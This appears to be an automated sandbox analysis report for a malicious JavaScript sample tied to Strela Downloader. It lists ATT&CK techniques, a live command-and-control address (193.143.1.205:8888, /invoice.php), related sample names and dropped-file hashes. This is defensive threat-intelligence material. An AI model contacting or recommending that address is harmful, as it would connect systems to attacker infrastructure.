Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
53198678114324144.js	4%	Virustotal		Browse
53198678114324144.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/%	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/-	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/m	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.ver)	svchost.exe, 00000009.00000002.2647813323.000002A561600000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
http://193.143.1.205:8888/%	net.exe, 00000007.00000002.1417400632.000002AEB913E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod-C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/pace	net.exe, 00000007.00000002.1417400632.000002AEB9108000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1417400632.000002AEB9108000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1417400632.000002AEB9165000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/-	net.exe, 00000007.00000002.1417400632.000002AEB913E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/m	net.exe, 00000007.00000002.1417400632.000002AEB913E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1416078573.000002A561840000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588785
Start date and time:	2025-01-11 05:29:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	53198678114324144.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 184.28.90.27, 23.209.209.135, 199.232.210.172, 2.16.168.107, 2.16.168.105, 13.107.246.45, 3.219.243.226, 4.245.163.56, 23.41.168.139
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, otelrules.afd.azureedge.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, azureedge-t-prod.trafficmanager.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
23:30:00	API Interceptor	23x Sleep call for process: powershell.exe modified
23:30:04	API Interceptor	1x Sleep call for process: net.exe modified
23:30:04	API Interceptor	2x Sleep call for process: svchost.exe modified
23:30:12	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	190731319210776809.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19663169782459227955.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1731726859230921847.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	28926317492847332246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16267239851350230287.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1147112155713680.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	395621741190315695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	884736801811116482.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	248185965269371196.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	321646101945257.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	xCSONUFhmq.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	5n2U8ZZZbc.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	iJCj3AQIBC.exe	Get hash	malicious	RevengeRAT	Browse	13.107.246.45
	leUmNO9XPu.exe	Get hash	malicious	HawkEye, MailPassView	Browse	13.107.246.45
	2976587-987347589.08.exe	Get hash	malicious	Nitol	Browse	13.107.246.45
	of5HklY9qP.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	yMXFgPOdf2.exe	Get hash	malicious	GuLoader	Browse	13.107.246.45
	1dVtYIvfHz.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	FJRUb5lb9m.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	5hD3Yjf7xD.exe	Get hash	malicious	AgentTesla	Browse	13.107.246.45
bg.microsoft.map.fastly.net	190731319210776809.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	19663169782459227955.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	16267239851350230287.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1147112155713680.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	395621741190315695.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	884736801811116482.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	248185965269371196.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	12728322661441225103.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	467631239147784826.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	22964327542023110895.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	190731319210776809.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	6734200751517017767.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19663169782459227955.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	584319483127519041.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1731726859230921847.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	28926317492847332246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16267239851350230287.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1147112155713680.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2660438432237518549.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	395621741190315695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.49321566782755544
Encrypted:	false
SSDEEP:	1536:cJNnm0h6QV70hV40h5RJkS6SNJNJbSMeCXhtvKTeYYJyNtEBRDna33JnbgY1Ztaq:cJhXC9lHmutpJyiRDeJ/aUKrDgnm4
MD5:	350226724C86CA1393EA19997F2FE005
SHA1:	6990BB9CA3A259F0CFDDF9412D200914BDC6F8E1
SHA-256:	C76958956F54C0C5069C677C324D2F142F00B61A1BAC64AF9CFCE3DE078531F9
SHA-512:	18BA6ECFA3DB9F96137F656F4314730360DC19E9664DB567E2387B4E22762B5EED8B3E75390602395C0545329845192BF744DBF717F210E414F7EBDA67E5CFB1
Malicious:	false
Preview:	^.;V........@..@-....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................................&.#.\.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xf5028450, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7216833750589424
Encrypted:	false
SSDEEP:	1536:rSB2ESB2SSjlK/Tv5m0hnRJjAVtu8Ykr3g16tV2UPkLk+kcBLZiAcZwytuknSDVd:razaNvFv8V2UW/DLzN/w4wZi
MD5:	0D79987EF9FAA2F57E4B9D645292DFC5
SHA1:	2B1132A854F640772CB079D26B4BB3EC3024546C
SHA-256:	1560CF05C045C2ED445F675FC1AFEC32D59DFAA5AE6F5B93E1DCC751BA75661D
SHA-512:	BCE632D8A900691D8AF6579F1DA4E66D41024AA2BF1A09EA3ED8EFA0CC8CD47D188FDB1AE2A7C803F51D7F96CAB21D0B16C2DF28D63B2E15C61E793358A750D8
Malicious:	false
Preview:	...P... ...............X\...;...{......................p.D..........{}......}+.h.F.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......-....{...............................................................................................................................................................................................2...{...................................t.......}..................t.......}K..........................#......h.F.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08147187927630385
Encrypted:	false
SSDEEP:	3:7IGEYeXau2C6/fgsCrZClW/tmR+JzXloll+SHY/Xl+/rQLve:MGEzXau2Hfgs3GU8CAS4M
MD5:	7B9648FD993A435C16F6CF6081C62CD1
SHA1:	B7CC65D49E46E40C79B24806F05C95EB093AB4E9
SHA-256:	8DAA9FB26CC9EC992D10C3BE1BF05320F44B282988A340A2577D25AF39B404FF
SHA-512:	A3835BEA9898AA6D1630767058750ED9959087205592946DF4108F811609D633E7D7FB07D42BB587D427686C5169C0D70BD1AE368E6E670271FAC22DF1D05ECD
Malicious:	false
Preview:	.d.......................................;...{.......}K......{}..............{}......{}.vv_Q.....{}.................t.......}K.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.174977830263293
Encrypted:	false
SSDEEP:	6:iO4q7VZM+q2PqLTwi2nKuAl9OmbnIFUtSq7VuXZmwsq7VlVkwOqLTwi2nKuAl9Oe:7RVjv8wZHAahFUtPV+/1VlV5TwZHAaSJ
MD5:	AA229A22B26A4D486B7E332442DADF15
SHA1:	AF67CC71EBD82914FB0FFD37676E3C6DE1158003
SHA-256:	C3C1A8F311705F4CA537326C853281ED1ABF4B5082C8DA5C03C4611FEB27D0FF
SHA-512:	85D29CE6FC572158D21D17F9813A45CF9E3449926EDEA05E7AC15B2320CFB60ECD36F9D16E75D0BBBC88758135FFEF5A058EC3BC6A0DE8258260D06FE659260F
Malicious:	false
Preview:	2025/01/10-23:30:04.949 1f44 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:30:04.952 1f44 Recovering log #3.2025/01/10-23:30:04.953 1f44 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.174977830263293
Encrypted:	false
SSDEEP:	6:iO4q7VZM+q2PqLTwi2nKuAl9OmbnIFUtSq7VuXZmwsq7VlVkwOqLTwi2nKuAl9Oe:7RVjv8wZHAahFUtPV+/1VlV5TwZHAaSJ
MD5:	AA229A22B26A4D486B7E332442DADF15
SHA1:	AF67CC71EBD82914FB0FFD37676E3C6DE1158003
SHA-256:	C3C1A8F311705F4CA537326C853281ED1ABF4B5082C8DA5C03C4611FEB27D0FF
SHA-512:	85D29CE6FC572158D21D17F9813A45CF9E3449926EDEA05E7AC15B2320CFB60ECD36F9D16E75D0BBBC88758135FFEF5A058EC3BC6A0DE8258260D06FE659260F
Malicious:	false
Preview:	2025/01/10-23:30:04.949 1f44 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:30:04.952 1f44 Recovering log #3.2025/01/10-23:30:04.953 1f44 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.2298464843597365
Encrypted:	false
SSDEEP:	6:iO4q7Vak39+q2PqLTwi2nKuAl9Ombzo2jMGIFUtSq7VdT4Zmwsq7VhX9VkwOqLTn:7RV4v8wZHAa8uFUtPVR4/1Vx5TwZHAaU
MD5:	D9172F2EE7D7AD98E2FFB0924EC84DF4
SHA1:	37002272BA7B89AC2A09625D8A1F977259AA52BD
SHA-256:	E7C6C3892197D8B625DD0D86FE53A818B72839273F7F10E4CDCA55EF3F6660BD
SHA-512:	8A3F51B572A727921465E5D76C5DD33C99CE3B727DEDC0280868E3C32EF124B8080446A956E7710A0B98E86781835470FE45E92620700D6D34F9674A871925D3
Malicious:	false
Preview:	2025/01/10-23:30:04.975 698 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:30:04.976 698 Recovering log #3.2025/01/10-23:30:04.977 698 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.2298464843597365
Encrypted:	false
SSDEEP:	6:iO4q7Vak39+q2PqLTwi2nKuAl9Ombzo2jMGIFUtSq7VdT4Zmwsq7VhX9VkwOqLTn:7RV4v8wZHAa8uFUtPVR4/1Vx5TwZHAaU
MD5:	D9172F2EE7D7AD98E2FFB0924EC84DF4
SHA1:	37002272BA7B89AC2A09625D8A1F977259AA52BD
SHA-256:	E7C6C3892197D8B625DD0D86FE53A818B72839273F7F10E4CDCA55EF3F6660BD
SHA-512:	8A3F51B572A727921465E5D76C5DD33C99CE3B727DEDC0280868E3C32EF124B8080446A956E7710A0B98E86781835470FE45E92620700D6D34F9674A871925D3
Malicious:	false
Preview:	2025/01/10-23:30:04.975 698 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:30:04.976 698 Recovering log #3.2025/01/10-23:30:04.977 698 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\1eadcea4-4685-429e-99ca-225c3126aed7.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.967717088634269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq53xsBdOg2Hdcaq3QYiub5P7E4T3y:Y2sRdsW3idMHs3QYhbt7nby
MD5:	60C150BE25D5FA6E8DC25C8CBDD69BF6
SHA1:	5ABD02578E74E7A0C8A2781EA6F114E461A27131
SHA-256:	4554F4C467E80554FBE785E4F2B1B748A86A3F1AB8FC647719ECEDD31DADDB5F
SHA-512:	F4E2E9A1A999A9DE1651F078D6B26CC7A8EE1262CC6F8C08CC204916487A0BF39AB1BB464FBE0ABD0DC7E34FE93FC71AE2D7A4BE59D4DC15F92B8EDABC3FF545
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381129816544708","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":137282},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967717088634269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq53xsBdOg2Hdcaq3QYiub5P7E4T3y:Y2sRdsW3idMHs3QYhbt7nby
MD5:	60C150BE25D5FA6E8DC25C8CBDD69BF6
SHA1:	5ABD02578E74E7A0C8A2781EA6F114E461A27131
SHA-256:	4554F4C467E80554FBE785E4F2B1B748A86A3F1AB8FC647719ECEDD31DADDB5F
SHA-512:	F4E2E9A1A999A9DE1651F078D6B26CC7A8EE1262CC6F8C08CC204916487A0BF39AB1BB464FBE0ABD0DC7E34FE93FC71AE2D7A4BE59D4DC15F92B8EDABC3FF545
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381129816544708","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":137282},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.22715432423533
Encrypted:	false
SSDEEP:	96:GICD8SBCmPAi8j0/8qbGNSwPgGYPx8xRqhm068Oz7AQsOM:1CDLCmPj8j0/8qKgwPHYPx8xemT8Oz7U
MD5:	638FCEE796D54D6EEDC23B4BAE3765E3
SHA1:	E5A5FE3348349A7399176991F6089F0541520503
SHA-256:	6CB5188C5038E9D2DF81A05DCB9720B7DBAA58A016DD9139F9742444397CE903
SHA-512:	F7EEE07692EFA6D9060BDB9FC6E31ACEDEF107346C1870E5E6612D620BB6F98B73CBFB92F93977ED0A56D206A0E9404D1D1DA48B5E7E7D29573F18727F2BFD5E
Malicious:	false
Preview:	*...#................version.1..namespace-W...o................next-map-id.1.Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.0.w..r................next-map-id.2.Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/.1:M4.r................next-map-id.3.Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/.2IE..o................next-map-id.4.Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.3KQ..^...............Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.xK.^...............Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.i.+a...............Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/Tz.qa...............Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/"_.o................next-map-id.5.Pnamespace-7c898a99_566e_4628_b4ec_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.1790538516393925
Encrypted:	false
SSDEEP:	6:iO4q7VyvFQt+q2PqLTwi2nKuAl9OmbzNMxIFUtSq7VyHqZZmwsq7VyHH39VkwOqI:7RVOQov8wZHAa8jFUtPVBZ/1Vg5TwZHP
MD5:	8B9A8E0D228BA19E06CEC9951DE6E58E
SHA1:	FAF85023CE9FA66555DE12640B493DC52358BF4E
SHA-256:	44E2ABB59168E2DF956C2972483464A39042AEFAA51E37ABAA3812055766E4C3
SHA-512:	E6B5FE59AB7EB69824FBA0753B140ECA7FC53CCE6EE3BF6244EE05111FAA5759FC75E7E0B1DC123FC4160CAA07D621C070BBCEDFA04CE923686E0AE1AC61D342
Malicious:	false
Preview:	2025/01/10-23:30:05.323 698 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:30:05.341 698 Recovering log #3.2025/01/10-23:30:05.355 698 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.1790538516393925
Encrypted:	false
SSDEEP:	6:iO4q7VyvFQt+q2PqLTwi2nKuAl9OmbzNMxIFUtSq7VyHqZZmwsq7VyHH39VkwOqI:7RVOQov8wZHAa8jFUtPVBZ/1Vg5TwZHP
MD5:	8B9A8E0D228BA19E06CEC9951DE6E58E
SHA1:	FAF85023CE9FA66555DE12640B493DC52358BF4E
SHA-256:	44E2ABB59168E2DF956C2972483464A39042AEFAA51E37ABAA3812055766E4C3
SHA-512:	E6B5FE59AB7EB69824FBA0753B140ECA7FC53CCE6EE3BF6244EE05111FAA5759FC75E7E0B1DC123FC4160CAA07D621C070BBCEDFA04CE923686E0AE1AC61D342
Malicious:	false
Preview:	2025/01/10-23:30:05.323 698 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:30:05.341 698 Recovering log #3.2025/01/10-23:30:05.355 698 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438287396559532
Encrypted:	false
SSDEEP:	384:ye+ci5GtiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:pBurVgazUpUTTGt
MD5:	C1E8E4FCB120439D6F3C2BA2BF109F96
SHA1:	AFDDB15E82DD52FB4FD250D8A0A9C4677D22151B
SHA-256:	A530A56ABDCB6C1821C06394EE823A95B24D64C0A16645E213E25D7532D285D0
SHA-512:	129595D19733E1D5FA16B7C743FD3DAB467194891CBBC9441CBC296821ADB4B150FF581A8430FAD9600535E5B29635554446986F7683C18DC06541F499662C08
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7662253630694402
Encrypted:	false
SSDEEP:	48:7MUJioyVwoioyBdoy1C7oy16oy17hKOioy1noy1AYoy1Wioy1oioykioyBoy1noU:7HJuwo0SWTXjBi3b9IVXEBodRBkr
MD5:	43D2F3F9F0317E130339BA73FAAE63C6
SHA1:	BB2CA44A39ABCEE218E3831446AAE2B250F1B2BD
SHA-256:	AECDDE3791662B6605DFC4226194F1B0D2EA2475DB242A9924D5B05750ED38E4
SHA-512:	8478E6FFD3E17983CCB216EB399F4A48D34C095AD9572EF0856DC520E7E24A452812E702724EA17080A538CE3579389C3C685CB160CFAF183D7306A81566A1B7
Malicious:	false
Preview:	.... .c......h.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
